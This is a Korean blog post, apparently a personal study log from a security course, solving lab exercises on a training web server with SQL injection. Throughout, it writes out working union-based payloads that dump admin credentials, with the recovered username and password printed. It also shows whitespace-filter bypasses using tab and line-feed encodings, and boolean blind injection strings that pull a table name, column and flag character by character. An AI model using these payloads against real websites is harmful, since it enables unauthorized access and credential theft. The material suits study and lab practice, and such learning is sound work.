연습1
SQL Injection 공격을 사용하여 관리자 계정을 획득하시오!

힌트1
 > 로그인 페이지는 일반 사용자를 위한 페이지
 > 관리자용 로그인 페이지는 따로 존재함
 > 관리자용 로그인 페이지는 메인 페이지에 링크 없음
 > URL 직접 입력, main 디렉터리가 아닌 별도의 디렉터리에 존재
=>200.200.200.7/admin/

힌트2
 > MYSQL 버전이 4버전, Information_Schema 없음
 > 테이블 이름 및 컬럼 이름을 조회X
 > 입력 값이 문법 오류 발생이 되도록 전달 하면 Query를 응답 메시지에 포함하여 전달
 > Query 볼수 있으면 테이블 이름 및 컬럼을 확인

힌트3
 > Injection Vector
 > http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=
 > id 인자


풀이
http://200.200.200.7/admin/login.php 로그인화면에서
id = admin '1
pw = 아무숫자나 문자
로그인하면 아래 같이 Qry Err 에러가 뜬다.

Qry Err. : select * from admin where A_id='admin' 1' and A_pass='1'
> A_id , A_pass 두개의 속성이름을 알 수 있다.

인자값 개수를 알아내기 위해 아무 게시판 글에 들어가서 url에 비어있는 값을 지워보고
똑같이 내용이 나오면 지우고 아니면 지우지 않는다.
지울거 지워주고 id 값에 0을 넣어주면 내용이 비어진 상태로 변한다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0

문자열인지 숫자인지 확인하기 위해 and 연산을 사용해서 확인해본다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=1%27%20and%201%23
> 확인결과 문자열로 판단되어 '를 넣어준다.

컬럼수 알아내기 위해 order by를 사용한다.
참고로 id=0는 문자열이라서 0다음에 ' 넣어줘야한다. 
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20order%20by%2016%20%23

select 문에 16번까지 의 숫자를 넣고 화면에 뜨는 숫자를 확인하고 표시되는 숫자부분에 A_id와 A_pass를 넣어 출력하면 id 와 password가 뜬다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20union%20select%201,2,A_id,4,5,6,7,8,A_pass,10,11,12,13,14,15,16%20from%20admin%20%23

table : admin
column : A_id, A_pass

 airconAdmin
 sorkrhksflwkek






SQL Injection 유용한 문법

값을 거짓되게 하고 union으로 select 구문을 연결해준다.
> 컬럼 수는 하나씩 늘려가며 값이 뜰때까지 맟춰야한다.
> 공백(%20)이 필요하다.
http://www.a.com/board_view.php?no=-2%20%20union%20select%201,2,3,4,5%20%23

코드에 아래 명령어 추가하면 injection 공격이 막힌다.
$no = str_replace(" ", "", $no);

TAP(%09) 과 Line Feed(%0a) 16진수를 넣어 주면 인젝션 공격 가능
http://www.a.com/board_view.php?no=-2%09union%09select%091,2,3,4,5%20%23
http://www.a.com/board_view.php?no=-2%0aunion%0aselect%0a1,2,3,4,5%20%23

mysql 서버에서
mysql> select 'admin' ; 하면 값이 나옴

mysql> select admin ; 하면 에러뜸

> '' 로 묶으면 값으로 인식하고 ''이 없으면 컬럼명으로 인식한다.

mysql> select 0x61646d696e;
명령어는 ''없어도 검색 가능

mysql> select id,pass from member_tb where id='admin' ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.02 sec)

mysql> select id,pass from member_tb where id=0x61646d696e ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+

> , 를 붙히면 문자가 각각 써짐
mysql> select 'a','b';
+---+---+
| a | b |
+---+---+
| a | b |
+---+---+
1 row in set (0.00 sec)

> 공백으로 문자 연결 가능
mysql> select 'a' 'b';
+----+
| a  |
+----+
| ab |
+----+
1 row in set (0.00 sec)

> 공백없이 붙혀써도 문자 연결 가능
mysql> select 'a''b';
+-----+
| a'b |
+-----+
| a'b |
+-----+
1 row in set (0.00 sec)

mysql> select 'a' 'd' 'm' 'i' 'n';
+-------+
| a     |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

공백 사용 못할 시 concat을 사용해서 문자를 만들 수 있다.
mysql> select concat('a', 'd', 'm', 'i', 'n');
+---------------------------------+
| concat('a', 'd', 'm', 'i', 'n') |
+---------------------------------+
| admin                           |
+---------------------------------+
1 row in set (0.01 sec)


char은 문자를 만들수 있는데 10진수를 사용해야한다.
mysql> select char(97);
+----------+
| char(97) |
+----------+
| a        |
+----------+


concat 과 char을 같이 사용가능
mysql> select concat(char(97), char(100), char(109), char(105), char(110)) ;
+--------------------------------------------------------------+
| concat(char(97), char(100), char(109), char(105), char(110)) |
+--------------------------------------------------------------+
| admin                                                        |
+--------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select id, pass from member_tb where id=concat(char(97), char(100), char(109), char(105), char(110)) ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.00 sec)


blind SQL Injection 
id : admin' and 1#
pw :  아무거나
로그인 하면 로그인 성공

admin' and 0#
pw :  아무거나
로그인 하면 로그인 실패
 > 조작은 되나 쿼리를 확인할 수 없다.

(문자, 자릿수, 자를 글자 수 )
> 자릿수는 1부터 시작한다.
mysql> select substr('admin', 1, 1);
+-----------------------+
| substr('admin', 1, 1) |
+-----------------------+
| a                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 2, 1);
+-----------------------+
| substr('admin', 2, 1) |
+-----------------------+
| d                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 3, 1);
+-----------------------+
| substr('admin', 3, 1) |
+-----------------------+
| m                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 4, 1);
+-----------------------+
| substr('admin', 4, 1) |
+-----------------------+
| i                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 5, 1);
+-----------------------+
| substr('admin', 5, 1) |
+-----------------------+
| n                     |
+-----------------------+
1 row in set (0.00 sec)


> ascii 코드로 표현
mysql> select ascii(substr('admin', 1, 1));
+------------------------------+
| ascii(substr('admin', 1, 1)) |
+------------------------------+
|                           97 |
+------------------------------+
1 row in set (0.00 sec)

> 뒤쪽에 숫자를 
mysql> select ascii(substr('admin', 1, 1)) >= 65 ;
+------------------------------------+
| ascii(substr('admin', 1, 1)) >= 65 |
+------------------------------------+
|                                  1 |
+------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr('admin', 1, 1)) < 65 ;
+-----------------------------------+
| ascii(substr('admin', 1, 1)) < 65 |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)


id : admin' and ascii(substr(database(),1,1)) >= 65#
pw : 아무거나
로그인 하면 성공
id : admin' and ascii(substr(database(),1,1)) >= 97#
id : admin' and ascii(substr(database(),1,1)) >= 110#
id : admin' and ascii(substr(database(),1,1)) >= 116#
id : admin' and ascii(substr(database(),1,1)) >= 119#
> 로그인 성공을 하면 반씩 줄여가며 실패가 뜰때까지 해본다.
id : admin' and ascii(substr(database(),1,1)) >= 121#
121에서 실패뜨면 = 을써서 같은지 확인

id : admin' and ascii(substr(database(),1,1)) = 119#
로그인 성공
id : admin' and ascii(substr(database(),1,1)) = 120#
로그인 실패

그러면 해당 글자는 119 (w) 이다.. 
이렇게 한글자 한글자 한글자 한글자 알아내야한다..


단어 갯수 알아보기
> 0뜨면 거짓 1 뜨면 참

mysql>  select length(database()) >11 ;
+------------------------+
| length(database()) >11 |
+------------------------+
|                      0 |
+------------------------+
1 row in set (0.00 sec)

mysql>  select length(database()) >10 ;
+------------------------+
| length(database()) >10 |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)


admin' and ascii(substr(version(),1,1)) = 53#
>DBMS 버전은 5.X, Information_schema 있음

mysql> select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1;
+------------+
| table_name |
+------------+
| board_tb   |
+------------+
1 row in set (0.00 sec)

> table name 길이 구하기
mysql> select length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1));
+-------------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) |
+-------------------------------------------------------------------------------------------------------+
|                                                                                                     8 |
+-------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


mysql> select substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1);
+-----------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1) |
+-----------------------------------------------------------------------------------------------------------+
| b                                                                                                         |
+-----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) >= 98#
> b


연습2 
200.200.200.7/login/html
> blind SQL Injection
> webhacktest 데이터베이스에 있는 대문자 F로 시작하는 테이블의 값을 찾으시오
> 테이블의 컬럼은 1개 레코드도 1개, 레코드 값을 찾아야 함

풀이2
테이블 길이 구하기
admin' and length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) = 4#

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 70#
 > F
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 2,1)) = 108#
 > l
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 97#
 > a
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 103#
 > g



column 길이 구하기
admin' and length((select column_name from information_schema.columns where table_name='Flag' limit 0,1)) = 4#

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 1,1)) = 72#
 > H

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 2,1)) = 50#
 > 2

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 3,1)) = 114#
 > r

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 4,1)) = #
 > e


레코드 길이 구하기
admin' and length((select H2re from webhacktest.Flag limit 0,1)) = 5#

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 1,1)) = 71#
 > G

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 2,1)) = 48#
 > 0

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 3,1)) = 48#
 > 0

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 4,1)) = 100#
 > d

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 5,1)) = 33#
 > !

테이블
Flag

컬럼
H2re

레코드
G00d!


Boolean-Based Blind Injection
vi web_test.py










'정보보안 > 공부 기록' 카테고리의 다른 글

ARP Spoofing, ragrouter  (0) 2023.01.01
로드밸런싱  (0) 2023.01.01
CSRF  (0) 2023.01.01
SQL Injection  (0) 2023.01.01
XSS  (0) 2023.01.01

+ Recent posts